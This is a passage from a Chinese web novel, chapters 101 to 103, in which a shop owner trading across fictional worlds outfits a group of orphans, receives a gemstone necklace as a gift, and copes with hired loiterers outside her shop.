拿不准两个位面的差异是否也包含了植物界，地球东西南北所有能搜索到的植物资料，萧妧妧全部下载下来，分为食用和药用两个部分。 资料庞大，需要翻译，这可难住她了。 谁知道爱丽丝用的是什么语言。 【图文资料转换语言为收费功能，是否同意付费开通？】 萧妧妧默了默，扫一眼付费方式，心里有点意外，和她想象的不太一样。 她以为的费是金钱，系统的费指的是交易件数。 萧妧妧尝试选择同意，系统叮了一声，进度条消去一截，数值显示扣除了五万的交易件数。 “真贵啊！” 资料没整理完，费用先扣了，为了彻底利用新功能，萧妧妧疯狂下载各种知识。 嗯，以后教爱丽丝种田采药，开矿炼金，可以产出大克拉宝石的神奇世界，不能浪费。 爱丽丝歪了歪头，看一眼嘿嘿笑的萧老板，怯怯地缩了缩肩膀。 萧妧妧拎起医药箱：“都解决了，东西很快送来。去躺椅上坐着，我帮你换药。” 爱丽丝低声道谢，主动抱住医药箱，慢吞吞挪到柜台后面。 萧妧妧擦手，消毒，准备纱布和药膏，三两下完成，而外卖至少还要等半小时。 萧妧妧按住爱丽丝，让她躺着休息休息，好心情的伸着懒腰，走到店门口呼吸新鲜空。 天真蓝，云真白，烟味真好闻。 烟味……？ 萧妧妧一顿，左右扫了一遍，目光落在小卖部门口一侧的阶梯上。 三个彩毛青年坐没坐相，叼着烟吞云吐雾。 再仔细一看，萧妧妧气笑了。 正是彩虹男团的其中三人，这是退团跑来小卖部前门solo？ 【作者有话说】 万字更新和要我老命有什么区别[可怜] 再等等吧，等万收的时候，头悬梁锥刺股，请假宅家一天给你们肝出一万字[捂脸偷看] 感谢读者“搞cp就是这么快乐”,灌溉营养液 +7 感谢读者“小露珠”,灌溉营养液 +1 感谢读者“大大很帅”,灌溉营养液 +1 100-110 101 第101章 ◎不倒闭小饭桌◎ “萧老板,这里不算景区吧？” 紫毛青年嚣张地晃着腿，咧嘴一笑，挑衅地吐出一口烟。 步行道上，路过的游客见三人或坐或躺,明晃晃守在小卖部门口,再看一眼他们的彩毛和阵阵白烟,脚步一拐,往外侧挪了半步，绕道而行。 萧妧妧看一眼时间,难怪今天过于安静，以为自己忙着采购没注意到。 客人全让他们吓跑了。 瞧他们流里流气的样,落在路人眼里，连香烟都像是违.禁品。 萧妧妧现在可以百分百确定,绝对绝对是冲着她来的。 看他们热得满头大汗，胸前后背湿了一片,也不知道谁在受罪。 萧妧妧瞥他们一眼,转身进店,感应门关闭,让他们连一点冷气也蹭不到。 幸好小卖部不靠普通顾客盈利,否则用不了两三天，萧妧妧就扛不住。 他们既没有违法也没有犯罪，静静坐在店铺外面，驱赶都找不到理由,警察更不会管。 实在受不了，她顶多出去吵一架,请邻居看个热闹,除此之外没什么作用。 萧妧妧想来想去,自己最近没得罪什么人，三婶宁愿自己坐在门口耍赖也不会花钱雇人。 只剩下一种可能，那位素未谋面就已经得罪了的翡翠商。 萧妧妧不确定的猜测着，苦于没有证据，什么都做不了。 “叮叮叮” 沉思间，手机叮叮咚咚响，有些意外，来电显示是黎行聿。 “妧妧，你得罪人了？” 电话一接通，黎行聿先一步开口。 萧妧妧揉了揉耳朵，蚂蚁爬过的痒意消失，不解回应：“不确定是不是得罪人了，你知道什么？” 黎行聿嗯了一声，说出查到的结果。 萧妧妧意外了一瞬，而后一副果然如此的神态。 “我大概知道是谁了。” 一群职业无赖，专门帮人做些不干不净的活，讨债、催收、骚扰、上门恐吓等等，给钱就干。 都是些灰色行当，踩在违法边缘。 换句话说，他们经验十足，分寸拿捏得刚刚好，让人拿他们没办法。 碰上他们，要么给钱息事宁人，要么躲得远远的，否则光是和他们较劲就要耗费不少精力。 萧妧妧意外的是，黎行聿竟然调查了他们。 他该不会对刘秘书说了“五分钟，我要他们全部资料”这种话吧？ 萧妧妧没把他们当回事，还有心情开玩笑，回神的时候，黎行聿声音沉沉，询问她的意见。 “我安排了保镖，如果你需要的话，他们可以马上出发。让他们在车上守着，或者在院子里也可以，不会影响你做生意。安全最重要。” 萧妧妧感动了一会，黎行聿可真靠谱，有事真给你安排。 然后果断拒绝：“谢谢你，保镖就不用了，我店铺小，店里店外这么多人不方便。你放心，我有办法对付他们。” 电话那头，黎行聿眉头紧拧，明显不赞同萧妧妧松懈的态度*。 黎行聿再次提醒：“他们受了几个翡翠商的指示，解决他们容易，背后的人不一定轻易罢休。” 萧妧妧哇了一声：“你查到的东西可真多。” 这下不用猜了，黎行聿直接揭晓答案，果然是翡翠商。 “我真有办法，你不用担心。” 有彩虹男团已经够不方便了，再来一波人，小卖部别想做生意了。 再次拒绝，萧妧妧嚷嚷着店里忙，匆匆挂断了电话，打开感应门方便外卖小哥送货进门。 黎行聿看着黑掉的屏幕，揉了揉额角。 “让他们回来吧，”黎行聿思索片刻，又道：“再去查查那些人，找个合适机会送他们进去。” 常在违法边缘试探，哪能真的一干二净，迟早能查出点东西来。 刘秘书接到命令，手指飞快敲击键盘，马上发送下去。 他又问道：“黎总，Bella搭了十套看展造型，已经送到休息室，您要去挑一下吗？” 黎行聿瞥一眼日程表，距离下场会议有三十分钟，时间足够，起身离开。 萧妧妧一屁股坐在椅子上，抱着茶杯吨吨吨。 考虑爱丽丝她们都是小孩子，萧妧妧挑选东西时尽量选择轻巧好挪动的东西，可再轻巧，数量摆在那里，她接了两趟提到店铺里，胳膊累得直发酸。 床垫最重，几个瘦小孩恐怕搬不动，萧妧妧担心她们不会照顾自己，三层席子垫底防潮湿，再放上床垫，被子枕头一股脑丢上去，留着她们自己铺吧。 衣服鞋子按人头套在大包装袋里，一份一份打包好放在一起。 爱丽丝睡得不安稳，惊醒时看到萧妧妧忙前忙后，心里酥酥麻麻的痒。 躲在柜台后看了好一会，爱丽丝小跑过去帮忙。 萧妧妧没拒绝，教她如何穿那些在爱丽丝眼里稀奇古怪的鞋服，以及如何使用她们从未见过的日常用品。 时间不允许，新买的东西来不及清洗晾晒，先凑合用，让她们自己慢慢学着照顾自己。 如果她们再大一点，力气足够，萧妧妧倒是可以准备些大件家具，杀不杀恶龙不着急，也急不来，至少先把日子过得像点样子。 爱丽丝金发白肤，瘦瘦小小，尤其有阴森古堡做背景，衬得她像毫无血色的女鬼。 爱丽丝努力记下萧妧妧说得话，熟悉它们的使用方法。 眼见第二波外卖即将送达，萧妧妧先把它们快递到爱丽丝的古堡。 爱丽丝看看空荡荡的脚下，扭头看看身后结界，眼睛渐渐瞪大。 萧妧妧摸着她后脑勺说：“去吧，多叫几个人帮忙，先送到你们住的地方。” 爱丽丝闪着亮晶晶的翠绿眼眸看来，重重点头，乖巧跑回结界边。 她顾不上其他，噔噔噔往酒窖跑。 所幸爱丽丝为了方便，选择的地方并不远，没一会，她领着一群小萝卜头回到这里。 “这些……是什么？” “它们是仙女送来的吗？” “像包子一样好吃吗？” “有兔子拖鞋！” 爱丽丝叹气，指挥道：“两个人搭档，拉住床垫下面的席子，拖回酒窖，这是我们睡觉的床。” “我们有床了？” “真的可以睡吗？和家里的不一样。” “好、好柔软！” 爱丽丝左右寻找，从包装袋里扒出厚衣服，催她们先穿上。 又拿出萧妧妧准备的扫帚抹布等工具，交给其他四个孩子。 “你们负责打扫酒窖，清理出放下床垫的地方。” 小萝卜头们没能得到答案，但显然她们并不在意，一个个扑到床垫上滚。 爱丽丝阻止不及，眨眼工夫就看见她们裹进了羽绒被里。 “好、好暖和！爱丽丝，它们真的可以属于我们吗？” “我们要用它们睡觉？” “爱丽丝爱丽丝，我要去仙境，它们是仙境里的东西对不对？” 爱丽丝耐心的回答她们，等大家叽叽喳喳结束，催促她们：“我希望今晚大家就能睡在柔软床垫上，好吗？” 小萝卜头们异口同声，拖长音调甜甜回应：“好的，爱丽丝。” 话落，她们忙乱成一团找搭档，嘿咻嘿咻拖着床垫回地窖。 爱丽丝则是抱起锅碗瓢盆，日常用品，慢吞吞走在后面，听她们快乐的嬉笑。 走到一半，爱丽丝停下脚步，掏出打火机和蜡烛，插在城堡墙壁的烛台上。 随着她的前进，漆黑幽暗的长廊亮起一个个豆子大小的光点，在缝隙中透进来的潮湿冷风中，闪烁不定。 光点连成排，长廊不再幽暗，衬着欢笑声，意外有几分温馨。 萧妧妧注意到她们惨白的脸、营养不良的身形，随后生出同情。 “多吃点肉蛋奶补补吧。”萧妧妧嘀咕一声继续下单。 爱丽丝给的太多，金币不说了，宝石动辄千万上亿，萧妧妧可舍不得她冷着饿着。 下单完成，萧妧妧蹲在结界前，看爱丽丝带着孩子们打扫卫生，布置酒窖。 地砖湿漉漉，根本不适合睡觉，她们齐心协力，拖着床垫爬上酒桶，把成排的酒桶当做床架。 床垫一排排铺上去，枕头被子铺平整，孩子们站在酒桶前，齐刷刷望着她们的新床铺，幸福的哇出声。 萧妧妧自以为考虑得够周到了，一看到拥挤的酒窖，发现仍旧缺不少东西。 镜子、浴巾、浴盆、马桶、洗漱用品……真是要什么没什么。 虽然有点麻烦，但是意外的有意思，好像在玩养成游戏，看另一个位面的小崽崽们一点点过上好日子，幸福感爆棚。 “要不……再买点纸笔习题册？” 十几岁的孩子正是上学读书的年纪，杀恶龙也不能耽误学习啊，多学点数理化，绝对不吃亏。 犹豫两秒，萧妧妧果断下单数理化基础常识，一共十八份，一个都不能少。 先引起她们的兴趣，再循序渐进的学习，振兴西幻，就靠她们了。 机械音幽幽响起： 【己所不欲，勿施于人】 看不下去了，宿主是魔鬼吧？ 萧妧妧振振有词：“少壮不努力，老大徒伤悲。你看我现在就很伤悲，想读点有内涵的知识都读不进去了。” 爱丽丝是要屠龙的少女，吃点学习的苦头不算什么。 忙乱一阵，外卖的杂货陆续送到，堆在小卖部一角。 到了晚饭时间，萧妧妧大手笔点来一桌丰盛饭菜，接过包装袋的时候，她迟钝发现，门口solo的彩毛们不见踪影。 真羡慕啊，连无赖也能准点下班。 萧妧妧关上店门，拉下窗帘，依次给孟甜甜、苏娇娇、爱丽丝发去邀请。 摆放餐具的时候，萧妧妧想到什么，噗呲笑声。 专为其他位面客户提供小型餐饮服务，好眼熟，这不就是小饭桌吗？ 苏娇娇最先到，进门时，萧妧妧笑得欢乐，没等开口问，结界陆续有人进来。 “欢迎光临不倒闭小饭桌，尊敬的客人们请入座。” 其他人没反应，萧妧妧说完自己就忍不住笑了。 苏娇娇颔首和身上血腥味浓重的孟甜甜打招呼，拉起爱丽丝安排入座，孟甜甜微笑着回应，急忙去卫生间清理。 等孟甜甜换了一身干净居家服入座，萧妧妧举起奶茶，和大家一一碰杯，为她们互相介绍。 作为串联起她们的主人，萧妧妧可忙了，每个都要关注到，一碗水端得稳稳的。 爱丽丝小小一人，坐在椅子上脚不着地，她捧着脑袋看漂亮姐姐们聊天说笑。 苏娇娇会帮她递水果，孟姐姐会把她喜欢的菜挪过来，爱丽丝快乐极了，脚丫子轻快地晃荡。 小饭桌第一顿饭完美结束，收拾完残局，各自回去休息。 爱丽丝磨磨蹭蹭落在最后，等店铺里没人，她偷偷塞来藏了好久的宝贝。 “你给的宝石很值钱很值钱，够用很久了，不需要再给报酬。你和那群孩子们，不用冒险闯地堡。” 爱丽丝递来布袋子时，萧妧妧罕见地拒绝了。 心动归心动，她又不是真魔鬼，压榨小孩闯魔窟为她捡宝石。 爱丽丝失落地垂下眼眸，倔强说：“可是，这是我想给萧老板的礼物。它不是报酬。” “收到礼物的感觉很幸福，我希望萧老板也能有幸福的感觉。” 萧妧妧一下子心软了，根本狠不下心拒绝。 爱丽丝不容拒绝的将布袋子塞进萧妧妧手里，扭头噔噔噔跑走。 萧妧妧感动不已，果断决定，教科书习题册不仅要买，还要多买几本！ 【作者有话说】 感谢momo扔了1个地雷 感谢岁岁今朝在扔了1个地雷 感谢若凌云扔了1个地雷 感谢读者“睡屁呀起来嗨”,灌溉营养液 +1 感谢读者“”,灌溉营养液+1 感谢读者“要长高”,灌溉营养液+1 感谢读者“小露珠”,灌溉营养液+1 感谢读者“岁岁今朝在”,灌溉营养液+10 感谢读者“鬼鬼子”,灌溉营养液+1 感谢读者“你管我反过来说”,灌溉营养液+44 感谢读者“”,灌溉营养液+8 102 第102章 ◎爱丽丝的礼物◎ 孟甜甜回房间补觉,娇娇姐回去练习射击，爱丽丝要继续布置她的酒窖小窝。 刚才还热热闹闹的小卖部一下子静悄悄，只剩下隐约的蝉鸣鸟叫和空调运作的声音。 萧妧妧好奇爱丽丝准备了什么礼物，拆了有香水味的绒布袋。 解开系绳,内里固定有暗扣,一一拽开后,一条颇有份量的项链露出全貌。 宝石滑进手心的那刻,萧妧妧眼前跟着一闪，火彩差点晃花了她的眼。 调整角度细看一会,她不自觉眯起眼。 好漂亮的宝石，好精巧的切割。 又是一枚帕帕拉恰,和原石的莲花色有些许不同，这枚是日出色,粉调占比略多，但不超过30%-70%的范畴,仍属于帕帕拉恰。 萧妧妧心头火热,忙不迭找来镜子,挂在脖子上欣赏它的整体。 主石无疑是那枚椭圆形日出色帕帕拉恰。 无烧,台面大,厚度能有15mm，肉眼看净度高，切割工艺看不太懂，但火彩可真不错,估摸能有60~80克拉。 再说副石，它们是两枚稍小些的日落色圆形帕帕拉恰,点缀在主石左右两侧,净度不比主石差,大约40克拉左右。 最妙的是，它们竟然看不到一点点裂。 两枚大副石围绕镶嵌了大小不一的粉钻，金丝做托，戴在脖子上刚好贴合锁骨的凹陷。 三枚帕帕拉恰戴在脖子上，重是真的重，但也是真的美，萧妧妧根本挪不开眼。 她捧着镜子欣赏一遍又一遍，赞叹了好半天，勉强收回目光，把注意力放在其他副石上。 与帕帕拉恰比，昂贵且美丽的粉钻显得低调许多，静静的当陪衬，镶满整条链子。 主石已经很闪了，副石不遑多让，交相辉映下，整条项链显得熠熠生辉，肉眼可以判断出来的昂贵。 萧妧妧爱不释手，却又怕指甲划出细痕，动作间格外小心谨慎。 她轻轻扶着项链，扭动肩膀凹了几个造型，看到镜子中的自己，哇声连连。 不管从任何角度望过来，帕帕拉恰都是最吸引人的存在，料想戴着它参加宴会，有烛光映照，任何人都会为它的光彩侧目。 太闪耀了。 萧妧妧戴着它不敢乱来，凹了几个角度欣赏后，立即姿态端正，挺胸抬头，仿佛端起架子才能配得上它。 惊艳过后，萧妧妧忍不住开始查资料，在看到不及她手上项链一半重的成品帕帕拉恰，竟然也能卖出百万千万级别的价格，心脏狂跳。 大克拉的顶级彩宝非常稀有，价格呈指数级上涨。 爱丽丝的礼物，价值连城。 萧妧妧满脑子价格价值，感叹爱丽丝所在的西幻世界可真富有，直到最后才意识到一件事。 她手上的帕帕拉恰项链，论品质、大小，与国外皇室的公主皇后们公开佩戴过的项链相比，毫不逊色。 唯一可惜的是只有项链，缺失配套的戒指耳环搭配。 和帝王绿鸽血红汝窑茶杯一样，帕帕拉恰项链是值得当传家宝的好东西。 萧妧妧嗅了嗅布袋子上浓郁的香水味，没有金币和原石沾染到的腥气以及阴凉感，应该不是从恶龙手里扒拉出来的。 一堆不太值钱的日常用品，换来价值连城的宝石项链，萧妧妧有一种哄骗不懂事的小孩的心虚感。 为了安心，萧妧妧抱着手机哐哐下单。 别人家孩子有的，爱丽丝必须有。 孩子喜欢吃水果，买！ 孩子喜欢看新衣服，买！ 孩子想宰恶龙，支持！ 最后一条，萧妧妧犹豫了，没见过龙，上哪知道要怎么杀？ 电影里倒是见过，可那是电影，做不得准。 反正系统有限制，萧妧妧决定看着办，多置办点东西，总有派上用场的时候。 忙忙碌碌到晚上九点，货车刚下高速，采购的物资还有一小时送来。 萧妧妧百无聊赖，懒洋洋躺着，继续欣赏宝石项链。 真好看啊，嘿嘿，现在是她的了~ 感应门被“咚咚咚”敲响时，萧妧妧以为听错，翘起脑袋探出去一瞧，勉强看出一人一狗的身影。 萧妧妧摘下项链藏进空间，快步打开门。 “大王又想我了？” 看到黎行聿牵着狗等在门口，萧妧妧挑了挑眉，蹲下身揉搓狗头，直到它哼哼唧唧要舔上来才松手。 黎行聿淡声解释：“遛狗路过，过来看看你需不需要帮忙。到闭店时间了吗，要不要一起回去？” 萧妧妧茫然一会，“帮什么忙？” 说完，她恍然想起来，黎行聿指的是彩虹男团。 萧妧妧诚挚地微笑：“谢谢你特意跑一趟，不过我今晚要留下收货，恐怕没那么快结束。你不用管我，继续遛狗吧，月牙巷挺安全的。” 黎行聿皱眉，语气稍显严厉的反问：“你认为他们不会趁机做其他事？” 萧妧妧刚想信誓旦旦的说不会，小卖部拉满防御，店主不在的时候，没有得到权限的人根本进不来。 然后她停顿一瞬，想到了一直忽略的地方。 店铺是安全了，她的人身安全可还没有保障呢。 黎行聿见她面露迟疑，和缓语气道：“几点结束都没关系，我和大王等你。” 萧妧妧视线飘忽，这还得了？ 黎行聿万一发现她买那些蔬菜瓜果、米面粮油、杂七杂八的玩意，不问倒算了，问起又得编理由，头疼。 “那多不好意思，我至少要忙到凌晨三、四点，你也要等到那时候？明天是工作日，不能耽误你上班。” 萧妧妧起初担心不好找借口，越说越觉得因为自己的事给他添麻烦，很是愧疚，毫不犹豫地拒绝了他。 黎行聿：“我是老板，可以迟到。” 萧妧妧噎住，嗫嚅着唇说不出反驳的话。 “不行，太麻烦你了。”萧妧妧语气坚定，转动脑筋，眼睛忽的一亮：“你要是真不放心，不如把大王借我？” 话音刚落，大王这条叛狗径直走到萧妧妧身侧，转身，坐下，抬起头眨巴眼睛看一眼对面的主人。 萧妧妧没憋住，噗的一下笑出声。 不等主人回应，狗子本狗自己愉快的答应了。 “看，我和大王相处融洽，它能保护我，又不会耽误你时间，多完美啊。” 感受到她的抗拒，黎行聿顿了两秒，选择退让。 “大王吃过晚饭了，它最近在减肥，不需要准备任何食物，如果它不听话……” 黎行聿没说完，大王仰头呜呜几声打断，谄媚地歪了歪狗头，贴着萧妧妧。 萧妧妧强忍笑意：“它好像在说，它不会不听话。” 完美表达内心想法，大王更加热情地仰头乱拱。 黎行聿能说什么呢，盯着大王叹气。 牵引绳交给萧妧妧，他叮嘱道：“注意安全。” 一人一狗来，最后是黎行聿一个人孤单离开，萧妧妧都有点可怜他了。 有了威风凛凛的捷克狼犬，果然不太一样，萧妧妧心里可踏实了，拉着狗子进院子拴住。 不是她夸张，这次的货数量不多但也不会少，忙到后半夜很正常，工人进进出出卸货搬货动静不小，惊着狗子可不好。 “现在没有坏人，安心睡吧。” 给它放了一碗水，萧妧妧看它乖巧趴下，摸摸狗头，回到小卖部。 担心狗子热，后门大敞着，冷气刚好给它降降温。 大王舒坦的换了个趴姿，舔两口水，哼哼着睡倒。 萧妧妧躺回椅子上，抱起平板下载资料。 不止数理化、烹饪，简单的伤口处理、气象分辨、有毒动植物分辨……都是必须了解的生存知识。 越想越觉得要学习的东西太多了，甚至有许多在她的知识盲区，根本不知道要怎么帮上忙。 萧妧妧叹气，真是操碎了心。 在她们学会制作简单食物前，她还要负责预定熟食，保证她们不会饿死。 活页记账本上，是萧妧妧特意记录的采购清单。 柳如烟的需求最少，那个傻孩子只知道吃喝玩乐，买点稀奇古怪的商品满足好奇心，脑子里尽想着爱不爱，还没发现小卖部的妙处。 龙傲天和申明月属于你追我干，目前是龙傲天采购数量领先一步。 苏娇娇稍稍次之，不过在这批货交过去后，数量直接翻倍。 孟甜甜和爱丽丝的不太好计数，太零碎了，日常用品占大头，以她们目前的消费水平来看，给的那些宝石钻石，足够萧妧妧养她们一辈子。 趁着空闲，萧妧妧算了一笔账，算来算去，怎么算都是赚，大赚特赚。 客人们傻乎乎捧着珍宝上门买东西，但凡她心肠再黑一点，福布斯榜一都要给她让位。 好心肠的萧老板自得的晃动脚丫，一边耳朵听傅问网络授课，另一边耳朵听霸总小说。 总逮着老客户薅不好，也该扩大客源了。 瞧着是闲下来歇息，实际耳朵眼睛没一个轻松的，脑子转个不停。 但……这种苦，她愿意吃一辈子！ 美滋滋躺到十点多，送货工人如约抵达店铺门口，萧妧妧神清气爽地爬起来干活。 孟甜甜晚饭后扛不住疲惫，回去补觉，一睁眼已经十一点，听到外面动静，于是赶过来帮忙。 “我一个人可以，你回去休息吧。” 哪能让高贵的VIP客户干力气活啊，萧妧妧催着她离开。 孟甜甜摇头：“我不放心，等他们卸完货我就回去。” 萧妧妧想说有什么好不放心的，孟甜甜转头示意一番后，她迟钝反应过来。 司机师傅和卸货工人都是壮实的成年男性，五六个人进进出出，只萧妧妧一个年轻女孩守在店里确实不安全。 孟甜甜来自末世，年纪长她许多，生活经验丰富，比萧妧妧警觉多了，背着电锯坐在椅子上当她的镇宅神。 其他人什么感想她不知道，反正萧妧妧现在踏实得不能再踏实了。 院子里有大型犬，屋子里有孟甜甜陪着，安全感十足。 有电锯威慑，萧妧妧发现，卸货工人连搬货的速度都加快了不少。 预计三、四点结束的工作量，在凌晨两点多左右，提前完成。 司机师傅驾着空车回去，老城区的道路上只剩下路灯静静亮着，微风拂过树梢沙沙轻响。 感应门重新上锁，孟甜甜彻底放下心，挂起电锯，准备继续睡。 萧妧妧想到后面几天的安排，急忙叫住她。 “甜甜，有没有兴趣帮我一个忙？” 想要解决彩虹男团，萧妧妧想来想去，孟甜甜是最适合的人选。 【作者有话说】 真好，每天有营养液的好日子也是让我过上了嘿嘿：D 感谢读者“睡屁呀起来嗨”,灌溉营养液 +1 感谢读者“爱吃榴莲的momo酱”,灌溉营养液+1 感谢读者“今天是”,灌溉营养液+1 感谢读者“恬恬”,灌溉营养液 +20 感谢读者“要长高”,灌溉营养液+1 感谢读者“枕霜晚”,灌溉营养液+20 感谢读者“熙妍”,灌溉营养液 +5 感谢读者“漫天飞雪”,灌溉营养液 +5 103 第103章 ◎她的运气可真好，想什么来什么◎ “真的可以吗？可是那样会弄脏小卖部吧,太可惜了。” 萧妧妧老实告知自己遇到的难题，给出解决方案，希望孟甜甜能配合。 孟甜甜当然是愿意的，小卖部等于她的家,针对小卖部,和炸她老家有什么区别？ 但…… 孟甜甜瞥了瞥萧老板,她怎么看起来一点不心疼的样子？ 反正孟甜甜是心疼的,舍不得让小卖部沾上一点晦气东西。 萧妧妧拍拍她肩膀，胸有成竹的样子说：“放心,只要你同意，其他的我来搞定。” 孟甜甜一点顾虑都没了,点点头应下，道一声晚安,打着呵欠回房间。 萧妧妧再次选择一键清理，顺带补充货架,务必让小卖部看起来分外整齐有规律。 零零碎碎的杂活料理完,她转身去仓库搬来扭扭车。 感谢柳如烟,她的奇怪兴趣解救了萧妧妧的双腿。 牵引绳绑在扭扭车前端,萧妧妧伸出恶魔之手,推醒了熟睡的大王。 大王真是个好狗子，没有起床气不说，刚睡醒的时候格外粘人，凑上来一顿蹭。 萧妧妧软声说了几句好话,大王哼哼唧唧甩甩毛发，乖乖在前面拉车,到了巷子口平坦路段,她毫不客气地坐上扭扭车。 “驾！” 大王回头,确认萧妧妧坐得稳稳的，四腿唰一下腾空，嗖一下蹿了出去。 萧妧妧感受到了推背感，后背一仰，赶紧扶好。 路上早没了游客，临街店铺闭门打烊，景观灯虽然恪尽职守的工作着，但少了店铺透出的光源，一向热闹得稍显拥挤的街巷，莫名有些吓人。 萧妧妧甩了甩脑袋，以前大大咧咧时没觉得哪里可怕，除了鬼。 今天被黎行聿和孟甜甜先后提醒过安全问题，她控制不住脑补点什么。 扭扭车哗啦啦前进，她时不时侧头扭身，观察前后动静。 转弯时，大王贴心的放慢速度，并回头看萧妧妧，担心她会被甩飞似的。 等道路笔直，大王又一次加速，朝着家门口狂奔。 萧妧妧惊叹于狗子的聪明，想套麻袋偷回去养。 有了狗子，连电动车都能省了，做扭扭车飞起来的感觉真爽。 小卖部离家不算太远，萧妧妧只爽了一会，前面就是目的地。 一路无事发生，萧妧妧松了一口气。 她说什么来着，南市治安很好的，到处安装摄像头，没人敢乱来。 大王熟门熟路要去231号挠门，她赶紧阻止，低声喊了几句，大王根本没反应，直直往231号冲去。 萧妧妧刚准备人工刹车，这时，231的大门打开，黎行聿出现在门口，大王一套行云流水的动作，飞扑进主人怀里。 黎行聿接住狗子，看了看扭扭车上的萧妧妧，神情意外了一瞬。 萧妧妧见状，心头一紧，两脚蹬地，才避免自己跟着狗子一起扑过去。 深更半夜的还狗不合适，她想着带回家住一晚，第二天早上送回去，哪知道黎行聿没睡，还在这个点出门溜达，刚好撞见她压榨狗子的一幕。 萧妧妧心虚极了，讪笑着从扭扭车上下来，慌手慌脚地解开牵引绳。 “是大王硬要拉我的，我拒绝了，它不同意。” 萧妧妧弱声辩解，仗着大王不会说话，厚着脸皮甩锅。 大王呼哧呼哧喘气，没有反对。 萧妧妧指着它：“你看，它都默认了。” 黎行聿没揭穿她，眼眸含笑：“那……谢谢你帮我遛狗？” 萧妧妧：“不客气。” 牵引绳解开递回去，萧妧妧道一声谢，随口问：“你这么晚还没睡啊，不会是我和大王吵到你了吧？” 扭扭车是有些吵，哗啦啦响了一路，大王像是恐吓谁似的，狂奔时龇牙咧嘴低声吼。 可见他穿戴整齐，不像是刚睡醒。 黎行聿夸奖似的抚摸大王狗头：“听不到它的呼噜声睡不着，出来转转。” 萧妧妧没想到会是这个原因，霸总的毛病多种多样，现在多了一个需要狗子陪伴入睡的。 “对不起啊，抢了你的睡觉搭子。”萧妧妧愧疚地说。 借的哪是狗子，是他一晚的安眠。 “不需要说对不起，说谢谢就好。” 萧妧妧有点懵，弯起唇，认认真真向他道谢，再蹲下身，抱住大王揉搓一顿，向大王也道一声谢。 大王一边呼哧呼哧喘气，一边左右扭头看主人和萧妧妧，兴奋地挤进两人中间享受抚摸。 黎行聿趁机询问：“你想怎么解决他们？或许我能帮上忙。” 萧妧妧早有对策，不过是没合适的时机。 主要是他们对她造成的影响几近于无，萧妧妧并不那么着急，先把手里事忙完再说。 “放心吧，我能解决，不过还是要谢谢你，有你这么靠谱的朋友，真是安心啊。” 不管是查他们的信息，还是主动提出帮忙，黎行聿切切实实付出了行动，萧妧妧认定他是个好人。 有狗他是真借，还会介绍新顾客，比只会动嘴皮子的强多了，值得深交。 黎行聿笑了笑，抬眸看她：“能让你感到安心，听起来是很高的评价，谢谢你的认可。” 大王低声冲着萧妧妧呼噜，昭示自己的存在感。 萧妧妧轻笑，拍拍狗屁股阻止它捣乱，然后端水：“大王也很厉害呢，有大王在我一点都没怕的。” 大王满意了，仰起狗头，得意地望着黎行聿。 萧妧妧连着两天没能睡个整觉，这会困得厉害，黎行聿见她一个哈欠接一个哈欠，催她回去休息。 萧妧妧挥挥手，还了狗子，提着扭扭车回家。 245号的大门合上，院中灯亮起，231号的大门随后合上。 萧妧妧进了房间看到时间，加快洗漱节奏。 凌晨三点在邻居家门口撸了半小时的狗，真是有觉不睡，自找苦吃。 想到这是本周的最后一个工作日，没有客人预约上门看货，只要守着店铺等快递即可，萧妧妧松快许多，被子闷过头，呼呼大睡。 第二天，萧妧妧吃过早午饭赶去店里。 彩虹男团大概是商量好的，轮流守着188号的前后门，但凡有人路过，他们摆出一副横样，非把人吓走不可。 事实上他们计策效果不错，小卖部一上午没多少生意。 青壮年倒还好，没在怕的，年轻人和带着孩子的看到彩虹男团，基本选择多走几步，去对街的便利店。 对古董铺的影响几近于无，本身大门开在巷子里，不看指示牌，普通游客不会进来。 平时进来逛一圈的不少，但因价格昂贵，真正询价还价的一个没有，现在不过是没人进来逛了而已。 萧妧妧悠悠闲闲瘫在躺椅上，有快递外卖到了，抬手一指，全部堆在角落，等到最后一起收拾分类。 彩虹男团越蹲越郁闷，鬼天气热死人不说，关键是店铺老板好像瞎子一样，根本不管他们。 搁在别的店铺，老板早受不了出来吵吵。 那时候才是他们的拿手绝活，地上一趟，保准闹腾得店铺一个月开不了张。 绿毛靠着墙壁，呸了一声，“奇了怪了，这丫头没一点反应。她不闹起来，咱们也不好办。让老叔再等等，等她忍不住了，咱们给她送个大的，狠狠坑她一笔。听老板说，她最近赚了不少。” 黄毛青年嘟嘟囔囔，没应声，太热了，要中暑了。 大夏天的接的什么破活，真折磨人。 几人不痛快的时候，感应门从里面打开，店铺老板笑吟吟地走出来。 彩虹男团以为有戏，一个个麻溜地爬起来，早有人等不及通知同伴随时上场。 “天气热，送给你们降降温。”萧妧妧递来几包冰袋，“你们晚上几点下班啊？” 彩虹男团面面相觑，怎么还唠上了？ 没接萧妧妧的东西，他们保持姿势，等待她大吵一架。 “拜托你们帮帮忙，晚上早点回去，我有个重要客户上门看货，你们在这里待着不合适。” 绿毛青年看了又看，只有降温的冰袋，失望地偏开视线。 但凡来点水或者零食，他都能有办法讹上去。 “怎么不合适？大马路又不是你家开的？我们兄弟几个乘凉也不行啊？” 绿毛青年没好气的一通反问，眼神轻浮地扫来，挑衅意味十足，试图激怒萧妧妧。 “萧老板放心，等你的大客户到了，我们就走，绝对不耽误你做生意。” 黄毛青年笑嘻嘻保证不惹事，表现出来的神态却与话音相反。 几人交汇视线，暗道一句终于找到机会了，搅黄了她的生意，不信她还能坐得住。 说话间，又有游客陆续靠近，看路线似乎要进店消费，黄毛青年顿时来劲了，一脸嫌弃地嚷嚷。 “什么破便利店，臭烘烘的，刚才还看到老鼠跑出来，吓死人了。” “就是，太不卫生了吧。” “别说了别说了，老板生气万一不然我们乘凉怎么办？” 彩毛青年像是get到了彼此的笑点，话落没多久，看到路人纷纷快步离开，哄的一下笑开。 萧妧妧跟着弯了弯嘴角，祈祷他们老老实实守下去。 不然她可就白做准备了。 冰袋放在一旁，萧妧妧像是看不出他们的不怀好意，笑眯眯说：“那就谢谢你们配合了。” 笑脸相对，没见一丝气恼，一拳头砸进了棉花里，这把绿毛青年整不会了。 几人的笑声戛然而止，纷纷转过头，目光古怪打量萧妧妧。 怕不是个傻子吧？ 绿毛青年纠结是坚持几天，还是挑明了大吵一架，萧妧妧却没工夫理会他们，眼睛亮晶晶的绕开几人，停在189号的门口。 Polo衫男人撕扯胶带贴上了一张纸在门上，等他走开，萧妧妧大步迈上台阶去看上面内容。 “转租、出售，价格可谈。” 萧妧妧咧了咧嘴，高兴地搓手。 她的运气可真好，想什么来什么。 【作者有话说】 